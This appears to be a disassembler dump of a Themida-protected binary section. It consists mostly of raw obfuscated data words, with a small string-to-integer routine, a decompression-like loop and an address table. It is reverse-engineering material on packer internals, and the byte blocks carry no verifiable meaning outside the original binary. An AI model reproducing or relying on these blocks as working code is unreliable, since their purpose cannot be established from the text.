		dd 35h,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah
		dd 5AC35040h, 0DC784C01h, 0BD838FA9h, 61229ADh,	6840F00h
		dd 80000000h, 0D78041F3h, 25BD83E2h, 6121Dh, 40840Fh, 0DE90000h
		dd 41000000h, 0C8E699DBh, 943FFAA7h, 15FF7B32h,	298EBE60h
		dd 0BD3115C8h, 6121F01h, 0F5BD8361h, 61201h, 14840Fh, 8D890000h
		dd 6122DE9h, 6ED95FFh, 5BB60612h, 291958Bh, 0C08B0612h
		dd 10C19523h, 0BD830612h, 6121B91h, 83097500h, 1217DDBDh
		dd 1A740006h, 0C08B5350h, 2295858Bh, 85890612h,	6122295h
		dd 0AE769D8Dh, 0D3FF0614h, 0BD83585Bh, 61217DDh, 50187400h
		dd 95858B53h, 89061222h, 12229585h, 179D8D06h, 0FF0614ABh
		dd 6A585BD3h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 0B343C357h, 0DE8B6651h, 66C08B5Bh
		dd 0B239F381h, 1D25BD83h, 0F000612h, 3A084h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 7E932h, 62070000h, 0B60AB849h, 99BD83B6h, 2061212h
		dd 19840Fh, 9D230000h, 61229FDh, 2F2DBD83h, 0F010612h
		dd 685h, 61850900h, 6006121Eh, 13219D89h, 8D8B0612h, 6124D2Fh
		dd 6A01FEF8h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 4B68C350h, 11E882AFh, 0B0000000h
		dd 5A5DCC62h, 21991CBAh, 0BD592B05h, 0E8073EAh,	1616060h
		dd 122861BDh, 0F5B6106h, 1968D1B7h, 601D5D76h, 8E9h, 7DCDF400h
		dd 677612DDh, 0E9525060h, 8, 0F6CBEA65h, 6F1EF8BCh, 0F08B310Fh
		dd 8161585Ah, 76992434h, 6AF91D5Dh, 51006AFFh, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 0BBF5DFAFh
		dd 3F15BC2Ch, 14A595FFh, 800F0612h, 3, 6198DF80h, 0B5958B52h
		dd 5B061220h, 212DBD8Dh, 0C6800612h, 1C4F8B8Dh,	8E8016Ah
		dd 9F000000h, 0A64BD1E0h, 89CE2733h, 1211C1BDh,	81665B06h
		dd 912890EBh, 0B3EBBB66h, 8A0F50h, 91000000h, 10CD958Bh
		dd 858D0612h, 6153BF9h,	10E8h, 33957800h, 42A6685Ch, 4D66D2FFh
		dd 0DC37D7B6h, 0D1BF0F7Eh, 0FFD0B75Ah, 0B5BD89D0h, 8B061234h
		dd 840F204Fh, 8, 2850Fh, 1DB60000h, 6A036Ah, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 18481AC3h
		dd 0BCAADD85h, 24B3712Ch, 10D59D89h, 60910612h,	5061C4B5h
		dd 0DE860h, 35360000h, 79E0778Ch, 2FF7EA19h, 0E96901C1h
		dd 9, 6C27F118h, 5A33EB9Ah, 91615EB0h, 5850F60h, 0BA000000h
		dd 324243C7h, 2F398533h, 8D610612h, 153BF985h, 21953106h
		dd 0FF06122Dh, 0BD8DF9D0h, 612212Dh, 1C4F8BF9h,	1B99958Bh
		dd 16A0612h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 17h,	7EC35242h, 501F0C87h, 3E25B960h, 0D98B5984h, 240C8961h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 5EC35141h
		dd 0DF125C9Dh, 7AED373Eh, 74E7807Eh, 3BF9858Dh,	870F0615h
		dd 3, 0FFD9B70Fh, 7D9589D0h, 8B061223h,	1210F995h, 204F8B06h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 9BC35040h
		dd 0E9E383F9h, 0Dh, 0E40B160Bh,	0C35D777Fh, 303C2F7Ch
		dd 66036A10h, 0D2F7DA81h, 5FB96050h, 0B94FC7F6h, 622D6089h
		dd 240C8961h, 0CE9h, 8CA91B00h,	0A15AAA0Bh, 9AA7A8D2h
		dd 0F9858D14h, 6A06153Bh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 3C5AC357h, 79F50B0Dh
		dd 10159D29h, 0D0FF0612h, 4DDA8166h, 8BD8B6F0h,	124D2F8Dh
		dd 7E906h, 0CC2A0000h, 4EABFEE5h, 6601FEADh, 858BDF8Bh
		dd 6124D2Fh, 5890Fh, 81660000h,	0FEB438D3h, 698D8900h
		dd 6A061228h, 0E9858901h, 68061214h, 0E18D3263h, 0F88A5250h
		dd 5250310Fh, 310F5A57h, 310F5250h, 585A585Ah, 3481585Ah
		dd 72AD9C24h, 0BDBA661Eh, 71BD898Bh, 8D06121Ah,	153C0385h
		dd 13E806h, 4CDA0000h, 8A9E8F6Bh, 63B256CBh, 1F87D7C6h
		dd 8FC78857h, 0DE8B66BAh, 81D0FF5Bh, 0E3A3F8EBh, 0BDBD830Fh
		dd 61205h, 0FE840Fh, 0B5890000h, 6120459h, 7ADBD83h, 0F010612h
		dd 0EB85h, 3890F00h, 80000000h,	8D8D55F2h
		dd 6153C0Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ah,	0CFC35747h, 0DDC06716h,	8E8F8F7h, 70000000h, 74930328h
		dd 891A1B32h, 121241BDh, 36A5B06h, 1495BD89h, 16A0612h
		dd 2C399D8Bh, 0D1FF0612h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 18h, 0FEC35646h, 0FAB463A8h, 16AFCB7h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 4AC35646h, 0BF0F016Ah
		dd 0DA8B66D1h, 6AD1FFh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 4EC1D2C3h, 23A7A7EBh, 820FC24Ch
		dd 5, 2CE713BBh, 15958911h, 0E8061200h,	0FA496D30h, 0BE9h
		dd 0BE5EE000h, 4AE05277h, 25A57566h, 8B66206Ah,	0EE9D6h
		dd 7F390000h, 289BD2B2h, 99A25F84h, 0B3E6D27Fh,	0F60FF6Ah
		dd 689h, 19858900h, 29061221h, 12099585h, 95FF6106h, 61214A5h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0A3C35646h
		dd 0D7B4BE1Dh, 0B88895h, 0E9000000h, 5,	0AC84D7DDh, 13E948h
		dd 0F7BE0000h, 4A8C12A3h, 0A8898B6Ah, 5B27F6C4h, 0F7B3E846h
		dd 0FC00BFEh, 6184h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 97B4FE04h, 2DE98D89h
		dd 0BD830612h, 6120DB5h, 2F840F00h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 93D3C352h, 0C995FF44h, 0E9061210h, 6, 2F4FF1B0h, 858B9CC9h
		dd 61203A5h, 0C6F9h, 19FD952Bh,	51580612h, 10D9952Bh, 665A0612h
		dd 6AD98Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 0B7D59BC3h, 4C1F666h, 79840Fh, 71BB0000h
		dd 0E95B8DBDh, 6Fh, 7B9BBB66h, 9C1B58Bh, 0CE80612h, 0F000000h
		dd 79BF977Dh, 62FC872Eh, 0F91CC020h, 80C6815Bh,	0E8000011h
		dd 0Bh,	80646015h, 5B53FFC9h, 813A64E2h, 15A4DFDAh, 6C75A46h
		dd 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0CFC35747h
		dd 0AC06FC8Bh, 9255752h, 121B9985h, 7D958B06h, 5E06121Fh
		dd 14800Fh, 0FE90000h, 70000000h, 1FCFCE9h, 78CB049Eh
		dd 0E5628B55h, 8D09C534h, 61223B9h, 0F00F883h, 0B5D84h
		dd 0D38B6600h, 0F883D18Bh, 4B850F01h, 81000001h, 0CD24ECBh
		dd 0B82Dh, 0DF800000h, 0FC00B2Bh, 0BC84h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
		dd 958BAC61h, 6121345h,	0F01F883h, 0CA84h, 9ABB6600h, 3F883EEh
		dd 4B840Fh, 55BB0000h, 2B76E04Dh, 0DD958BC0h, 8D06122Ah
		dd 5B89E0BDh, 0DB816600h, 0E7FF8900h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 28C35646h, 2569B50h, 0E7E71C68h
		dd 0B58B6008h, 6122081h, 8B61E68Ah, 1B8D3h, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 85849EC3h, 0DA8B6681h, 89E0BD8Dh, 0DA81005Bh, 4626685Bh
		dd 0F280E7FFh, 0BBBD8DB8h, 0F061243h, 18Dh, 0BCE9F800h
		dd 6A000002h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 0ED42C350h, 35B7EF97h,	665B2953h
		dd 0C7CB13BAh, 124D8A85h, 506h,	55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 85890A94h
		dd 61203D1h, 5B8h, 0E9D88B00h, 939h, 1BC9958Bh,	0F8830612h
		dd 0CC850F02h, 80000000h, 0B85FC7h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 73F8C350h, 26EA8166h, 0FC00BAEh, 7484h, 0BD8B6000h
		dd 61208ADh, 0F88361F9h, 74840F01h, 0E9FFFFFFh,	0Dh, 0C3D722BAh
		dd 80DB33Eh, 0DE3AEA2Ah, 3F883E6h, 0FEE7840Fh, 0B589FFFFh
		dd 61211E9h, 0B8h, 0BEEA8000h, 89E0BD8Dh, 6A005Bh, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 9EE5ACC3h, 60404380h, 0D458D89h, 0DE8B0612h,	89E7FF61h
		dd 1223A59Dh, 0B3BD8D06h, 0F061245h, 388h, 60C78000h, 192E9h
		dd 0C810F00h, 0F000000h, 683h, 0E1852900h, 83061211h, 850F03F8h
		dd 5Ch,	0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h
		dd 0B5C35545h, 506EFC33h, 0DAD8531h, 8D5A0612h,	124747BDh
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 0D0196F50h, 8A52B355h, 121E9D9h,	0BD010000h
		dd 61223A1h, 0F05F883h,	3C85h, 8DBD8900h, 0E9061215h, 7
		dd 0A9F9D11Eh, 0E9A3E6C2h, 7D9h, 0E855006Ah, 3,	5DC35D20h
		dd 4246C89h, 4244481h, 14h, 8BC35545h, 8B2ED380h, 12018D95h
		dd 6F88306h, 30850Fh, 0BD8D0000h, 612493Fh, 0E9D08B66h
		dd 0BFh, 0BE8h,	17444900h, 0A2C1DEAFh, 0EEA3735Bh, 26A19509h
		dd 605A0612h, 89A5EF80h, 121E459Dh, 0F8836106h,	5D850F07h
		dd 0E8000000h, 12h, 92EC3516h, 4F8A3AFEh, 60F2FD2Eh, 0B974501Bh
		dd 8B665D9Dh, 0BD8D5BDAh, 6120A31h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 4C35747h, 5DB30E3Eh, 0E9929EE7h
		dd 126h, 8E8h, 0A32F4900h, 0A7160F0Ah, 958B5AE8h, 6122DFDh
		dd 0F0AF883h, 2E85h, 22F28100h,	0F5E7D24h, 38Ch, 0D6BF0F00h
		dd 4B37BD8Dh, 5E90612h,	0A4000000h, 0E8C68A9Bh,	0AE9h
		dd 4870F00h, 66000000h,	57CA04BBh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 8CC35646h, 8F8F63Fh, 0DA81662Fh
		dd 10E9E849h, 0A1000000h, 903B05B1h, 5AB4833Ch,	2083480Bh
		dd 0B928469Bh, 653F940Ch, 13E9h, 0D6FAAC00h, 0B0C84952h
		dd 5F78E59Eh, 7040A76h,	0B157CEB4h, 0F003F83h, 4F84h, 0ABBA6600h
		dd 810F309Fh, 7566DCD2h, 99958B44h, 0D106121Fh,	51006AC9h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 998701B7h, 0D9DE77EAh, 0E94725E4h, 5, 9E1AA6B0h, 0FFAEE92Fh
		dd 8589FFFFh, 61212C1h,	56006A5Fh, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 0FE07DEBDh, 6A7AF155h
		dd 23B5958Bh, 0BD890612h, 6124D33h, 89F78A60h, 122A058Dh
		dd 8D8D6106h, 61216B5h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 14h, 10C35141h, 958BD3B2h,	6120899h, 30FDB5FFh
		dd 8DF80612h, 14A7DF85h, 0BD8D5006h, 612540Ah, 70178D8Dh
		dd 0BCB80612h, 2B54831Ah, 0D00730CFh, 754947C8h, 92B58DF8h
		dd 8D06126Fh, 12702F8Dh, 0F3CF2B06h, 0B8C933A4h, 0
		dd 4674C00Bh, 0DB5BD83h, 74000612h, 0C995FF06h,	8B061210h
		dd 124D33B5h, 0DF858D06h, 0FF0614A7h, 50858DD0h, 0FF061243h
		dd 2985C7D0h, 1061212h,	8B000000h, 120469A5h, 0F5B58B06h
		dd 8B06120Eh, 1228A5ADh, 0C2C03306h, 50B6000Ch,	3870Fh
		dd 0D6800000h, 65BD830Eh, 6121Dh, 19840Fh, 0DC8A0000h
		dd 1FED95FFh, 0CE90612h, 0C2000000h, 938E40C4h,	8AA06A51h
		dd 8372C9DDh, 120099BDh, 850F0006h, 198h, 0C6AB1BBAh, 0F5958B61h
		dd 83061203h, 1207ADBDh, 850F0106h, 180h, 1811B589h, 0BD830612h
		dd 61217B1h, 6D840F00h,	89000001h, 1231AD8Dh, 86BD8306h
		dd 6124Dh, 15A840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 6A1CFDC3h, 8952F24Dh
		dd 1220D9B5h, 858D5A06h, 614A7DFh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 0EBC35646h,	0FE4E412h, 0B81h
		dd 5890F00h, 0BB000000h, 409B2B75h, 4D33B58Bh, 0BF0F0612h
		dd 0C6D0FFDBh, 12287185h, 0B70F5406h, 0DEDC68D8h, 8B66A1BEh
		dd 240481D9h, 5D8FE018h, 19ED9D8Bh, 850F0612h, 5, 0C4CA8166h
		dd 0B1B5FFF8h, 1061203h, 12016D9Dh, 5D858D06h, 0F06123Bh
		dd 385h, 0D78B6600h, 0BD29D0FFh, 6122AADh, 6A006Ah, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 12E97CC3h, 0FD000000h, 4F2D44AFh, 0BCC2AF0Bh, 73FA7384h
		dd 2A84D510h, 6AFF6A8Eh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 0B3E1C353h,	808BA33Eh
		dd 10E936h, 37DA0000h, 6489EF69h, 0B516ED5Bh, 8D7E4D3Eh
		dd 0D0FFC3D6h, 34A98D89h, 0B5FF0612h, 6121E71h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 7EC35141h, 30FD95FFh
		dd 95890612h, 61209ADh,	4D33B58Bh, 800F0612h, 8, 28C0Fh
		dd 61600000h, 7E9C3h, 0AC2A0000h, 9CAD6136h, 0A5B58B25h
		dd 6A061203h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 33E2C352h, 120A219Dh, 13E85706h
		dd 24000000h, 0F2C2FDBEh, 336B005Fh, 2D30EFDAh,	7A183783h
		dd 958B15FBh, 6121309h,	0F60B5B5Ah, 2B840Fh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 0BB6698C3h, 6C67CB8h, 33DA8A00h, 12092995h, 3B858906h
		dd 6A06124Dh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 93CFC353h, 8DB36E80h, 977BBA66h
		dd 0F00F883h, 36984h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1B04h, 0C3574700h, 3A9F5D9Bh, 717948B1h
		dd 28A0Fh, 0EBB60000h, 0B8h, 0C2816600h, 0F8833AEFh, 92840F00h
		dd 0F8000000h, 0F02F883h, 7B85h, 0F2816600h, 858DB2A5h
		dd 61243B6h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ch,	0B9C35141h, 0D32E0DB1h,	43D60DE9h, 95D8531h, 95230612h
		dd 61201D9h, 9292Dh, 0DF8B6600h, 84BA6690h, 50605006h
		dd 5E952h, 0B9510000h, 0F022A90h, 0F525031h, 5A585A31h
		dd 11BE6658h, 609061B8h, 0D399D8Bh, 85890612h, 61211B5h
		dd 9D33C361h, 61229D1h,	0B8h, 29CE900h,	8B660000h, 1B8DFh
		dd 8C0F0000h, 6, 0C819D8Bh, 0BD8D0612h,	61243BBh, 6810Fh
		dd 85010000h, 61234F9h,	100E9h,	0D68B6600h, 0F02F883h
		dd 5485h, 0BD8DFC00h, 61245B3h,	0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 17h, 0F4C35040h,	11AD20Bh, 1204D195h
		dd 0ED858906h, 0E9061215h, 0BDh, 0E853006Ah, 3,	5BC35B20h
		dd 4245C89h, 4244481h, 15h, 35C35343h, 3F88325h, 67850Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 0CB8DE5C3h, 69952923h, 8D061205h,	124747BDh
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 56D3ED06h, 3805EEAh, 820FF46Bh, 0Ch, 7E9h
		dd 4E6BCD00h, 0B9C29A6Dh, 30E9h, 5F88300h, 27850Fh, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 0D913ACC3h, 0FAE68087h, 0A0E9h, 8D295700h, 612118Dh
		dd 3F940CB9h, 53006A65h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1504h, 0C3534300h, 3F8365D5h, 6E840F00h, 89000000h
		dd 12233D85h, 6A0F3006h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 9C07C357h, 0E9FB0A87h
		dd 12h,	8E2ECE2Dh, 38E47611h, 0BE90ADADh, 0A55684B1h, 0C9D16A98h
		dd 47FCE380h, 0ABE90EB7h, 66FFFFFFh, 9B97C281h,	10E960h
		dd 26710000h, 741FEE1Bh, 0B8C1142Eh, 0A5ABEB52h, 9D314C5Bh
		dd 6122199h, 5F88361h, 0C8850Fh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 899DBCC3h
		dd 1226B1BDh, 0D98C6606h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 17h, 78C35646h, 0F6F3B51Dh, 850F04C1h, 34h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0F1C35747h
		dd 0D8B70F2Ah, 0B8D78B66h, 0
		dd 0DBF351BBh, 48E977h,	0D88B0000h, 1C61858Bh, 13E90612h
		dd 0B2000000h, 0F404BEBh, 0EB1C8CECh, 9BF6500Dh, 3C8384CCh
		dd 0E0FFC104h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 18h,	46C35141h, 480CC2DFh, 1AF19589h, 0BD830612h, 61230FDh
		dd 0F4850F00h, 60000000h, 18860Fh, 13E90000h, 0BA000000h
		dd 0B3D13848h, 0AE3508AEh, 1188B17Ah, 11BC0568h, 9D8B2214h
		dd 612040Dh, 118D0F61h,	0E9000000h, 0Ch, 4E223B3Fh, 46D054C6h
		dd 511B3F47h, 3CBA6690h, 0D38A5062h, 55006A90h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 0FF8F7DDh
		dd 0BD29DBB7h, 6121759h, 287185C6h, 8A450612h, 68D98AF1h
		dd 0AC8A4D40h, 8D53CFBAh, 24348126h, 22F82429h,	1BD1B589h
		dd 0B5FF0612h, 61203B1h, 98F0Fh, 870F0000h, 3, 66E1DA80h
		dd 3E43DA81h, 3B5D858Dh, 0BE80612h, 0A4000000h,	60C8081h
		dd 0CB64393Ch, 958BE098h, 6120491h, 0B2D0FF5Bh,	15958B2Eh
		dd 89061209h, 1230FD85h, 0DF8B6606h, 6E858h, 2BCA0000h
		dd 6258DE94h, 85953156h, 5A061223h, 9195035Ah, 8306121Ah
		dd 124D8ABDh, 840F0006h, 71h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 0C6C35646h,	945D4E1Bh, 8BE46398h
		dd 121C6D9Dh, 71B5FF06h, 6A06121Eh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 7C32C353h
		dd 30FD95FFh, 8B0F0612h, 19h, 14E9h, 0CA744B00h, 0D4BBE210h
		dd 0DD58AF41h, 10EFBA9Fh, 132D0011h, 0F883A8h, 7E850Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 0CF7530C3h, 83EFB711h, 120379BDh,	840F0006h
		dd 29h,	379B5FFh, 1B80612h, 8B000000h, 1211C59Dh, 0B99D8B06h
		dd 0E9061212h, 186h, 58F0Fh, 3BBB0000h,	0B2666375h, 71B5FF23h
		dd 6606121Eh, 0FFC654BAh, 121E71B5h, 7D950106h,	0FF061200h
		dd 1230FDB5h, 57E9F806h, 0BB000001h, 3BC3FD57h,	0DB81665Fh
		dd 0BD839A96h, 6122341h, 94850F00h, 89000000h, 122F9985h
		dd 7185C606h, 4D061228h, 68F1EF80h, 522B33DBh, 481D78Bh
		dd 0A42CD24h, 1D9D8B52h, 0FF061209h, 121D39B5h,	0CE806h
		dd 0C48B0000h, 0B091FE2Bh, 2D423CC1h, 0CE99CCDh, 6F000000h
		dd 0D3301596h, 0C884030Bh, 5AD03165h, 61F86060h, 5D858D61h
		dd 6606123Bh, 810FDE8Bh, 6, 7FCFC281h, 0D0FF31D3h, 89D3B70Fh
		dd 12234185h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1504h, 0C3554500h, 0C0BB91B7h, 0B85100E4h, 0
		dd 0BD897EB2h, 6124D33h, 6E9h, 0DBF59D00h, 0B244C2Dh, 10840FC0h
		dd 8A000000h, 0D7B70FD3h, 81E9h, 1D958B00h, 0FF061204h
		dd 1230FDB5h, 0E2816606h, 958B039Dh, 6123471h, 0A7DF858Dh
		dd 6A0614h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 6600D3C3h, 3C36F281h, 0D88B6690h,	0DE85050h
		dd 3C000000h, 4BFE855Bh, 1A3CB9F5h, 0A221F6Ch, 0B19335BAh
		dd 905B5A42h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 14h,	0E8C35646h, 2CB1B589h, 56500612h, 540ABD8Dh, 8D8D0612h
		dd 61279FDh, 8323BCB8h,	30CF2B74h, 47C8D007h, 5EF87549h
		dd 79BD8358h, 61203h, 8D8B0674h, 6122DD9h, 0B8C933h, 0B000000h
		dd 0A8840FC0h, 83000000h, 120DB5BDh, 6740006h, 10C995FFh
		dd 0B80612h, 0B000000h,	830975C0h, 124D3BBDh, 9740106h
		dd 4D3BBD83h, 75020612h, 33B58B0Eh, 8D06124Dh, 14A7DF85h
		dd 83D0FF06h, 121D65BDh, 6740006h, 1FED95FFh, 858D0612h
		dd 6124350h, 0BD83D0FFh, 6121299h, 8B2F7502h, 120469A5h
		dd 79858B06h, 89061203h, 85C72404h, 6121229h, 1, 4D37B58Bh
		dd 0AD8B0612h, 61228A5h, 1B8h, 0CC200h,	85C700EBh, 6121229h
		dd 1, 469A58Bh,	0B58B0612h, 6120EF5h, 28A5AD8Bh, 0C0330612h
		dd 83000CC2h, 121D65BDh, 0F740006h, 1FEDBD83h, 74000612h
		dd 0ED95FF06h, 8B06121Fh, 124D33B5h, 0D18BC306h, 759DDA81h
		dd 0BA0977h, 51000000h,	9E8h, 9DC6F900h, 3A88D474h, 8B665B74h
		dd 8B5B5BD7h
		db 0D8h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	edx
		push	esi
		mov	edi, [ebp+8]
		xor	eax, eax
		jmp	short loc_54E535
; ---------------------------------------------------------------------------


loc_54E533:				; CODE XREF: Themida_:0054E538j
		inc	eax
		inc	edi


loc_54E535:				; CODE XREF: Themida_:0054E531j
		cmp	byte ptr [edi],	0
		jnz	short loc_54E533
		xor	ecx, ecx
		mov	edi, [ebp+8]
		jmp	short loc_54E564
; ---------------------------------------------------------------------------


loc_54E541:				; CODE XREF: Themida_:0054E566j
		xor	edx, edx
		mov	dl, [edi]
		sub	dl, 30h
		mov	esi, eax
		dec	esi
		push	eax
		mov	eax, edx
		push	ebx
		mov	ebx, 0Ah
		jmp	short loc_54E559
; ---------------------------------------------------------------------------


loc_54E556:				; CODE XREF: Themida_:0054E55Cj
		mul	ebx
		dec	esi


loc_54E559:				; CODE XREF: Themida_:0054E554j
		cmp	esi, 0
		ja	short loc_54E556
		pop	ebx
		add	ecx, eax
		pop	eax
		inc	edi
		dec	eax


loc_54E564:				; CODE XREF: Themida_:0054E53Fj
		or	eax, eax
		jnz	short loc_54E541
		mov	eax, ecx
		pop	esi
		pop	edx
		pop	edi
		pop	ecx
		leave
		retn	4
; ---------------------------------------------------------------------------
		dw 0BB66h
		dd 8BF82923h, 1ADE9C1h,	8B600000h, 8B242474h, 0FC28247Ch
		dd 68A80B2h, 47078846h,	2BBh, 0FD20200h, 585h, 46168A00h
		dd 830FD212h, 0FFFFFFE2h, 850FD202h, 5,	1246168Ah, 6A830FD2h
		dd 33000000h, 0FD202C0h, 585h, 46168A00h, 830FD212h, 12Ah
		dd 850FD202h, 5, 1246168Ah, 2C013D2h, 5850FD2h,	8A000000h
		dd 0D2124616h, 0D202C013h, 5850Fh, 168A0000h, 13D21246h
		dd 0FD202C0h, 585h, 46168A00h, 0C013D212h, 6840Fh, 2B570000h
		dd 5F078AF8h, 0BB470788h, 2, 0FFFF70E9h, 1B8FFh, 0D2020000h
		dd 5850Fh, 168A0000h, 13D21246h, 0FD202C0h, 585h, 46168A00h
		dd 820FD212h, 0FFFFFFDEh, 1BBC32Bh, 0F000000h, 3485h, 1B900h
		dd 0D2020000h, 5850Fh, 168A0000h, 13D21246h, 0FD202C9h
		dd 585h, 46168A00h, 820FD212h, 0FFFFFFDEh, 2BF78B56h, 5EA4F3F5h
		dd 0FFFF08E9h, 0E0C148FFh, 46068A08h, 1B9E88Bh,	2000000h
		dd 5850FD2h, 8A000000h,	0D2124616h, 0D202C913h,	5850Fh
		dd 168A0000h, 0FD21246h, 0FFFFDE82h, 7D003DFFh,	830F0000h
		dd 22h,	5003Dh,	0E820F00h, 41000000h, 2BF78B56h, 5EA4F3F0h
		dd 0FFFEB4E9h, 7FF883FFh, 3870Fh, 0C1830000h, 0F78B5602h
		dd 0A4F3F02Bh, 0FE9BE95Eh, 68AFFFFh, 0C0C93346h, 840F01E8h
		dd 17h,	8B02D183h, 0F78B56E8h, 0A4F3F02Bh, 1BB5Eh, 76E90000h
		dd 2BFFFFFEh, 8928247Ch, 611C247Ch, 0BA0008C2h,	929h, 22096E9h
		dd 0
		dd 2 dup(5C498D00h), 5B002800h,	12FF6C02h, 5C2E8300h, 5B003F00h
		dd 20202h, 200h, 2 dup(100h), 426A1600h, 0FAh, 4 dup(0)
		dd 54EE3900h, 55678600h, 55800400h, 55485B00h, 5529E100h
		dd 559A2300h, 55042500h, 552BCB00h, 55232600h, 55241900h
		dd 55533C00h, 5516DC00h, 551AD400h, 55637100h, 559D6C00h
		dd 5550F800h, 559F4100h, 54F55A00h, 55789200h, 559BB700h
		dd 54FFB600h, 55066B00h, 557E7A00h, 54EAE600h, 5560B700h
		dd 55911900h, 5523E200h, 5546DD00h, 55496800h, 55710100h
		dd 5598C900h, 552FE600h, 5505B600h, 54EDA900h, 558DBF00h
		dd 55179100h, 55372B00h, 55B02D00h, 55195100h, 55935300h
		dd 54EEE800h, 5592CD00h, 55065600h, 55349F00h, 54F2EA00h
		dd 5572C500h, 559FFF00h, 5511C300h, 5545F900h, 5577C500h
		dd 5575C300h, 55A8CA00h, 554CB200h, 5585BC00h, 5568D600h
		dd 55067C00h, 557A7700h, 559D5200h, 55638200h, 552CEF00h
		dd 553DCD00h, 54FE0000h, 5506FB00h, 5521BC00h, 55468900h
		dd 54F19200h, 558B2200h, 55828D00h, 55011E00h, 55773A00h
		dd 55150C00h, 558D6700h, 54FE6F00h, 55A53500h, 5574AE00h
		dd 55274600h, 559D4600h, 54F2CA00h, 553F1900h, 558F0300h
		dd 5524C300h, 556F0D00h, 5521A500h, 55A0E500h, 552A8600h
		dd 54F34B00h, 55B17400h, 55A1A200h, 5571B900h, 55745300h
		dd 551C6D00h, 55A8BC00h, 55663700h, 55A1E700h, 556A7900h
		dd 551C7800h, 55025500h, 552E1400h, 55B1C100h, 557BA000h
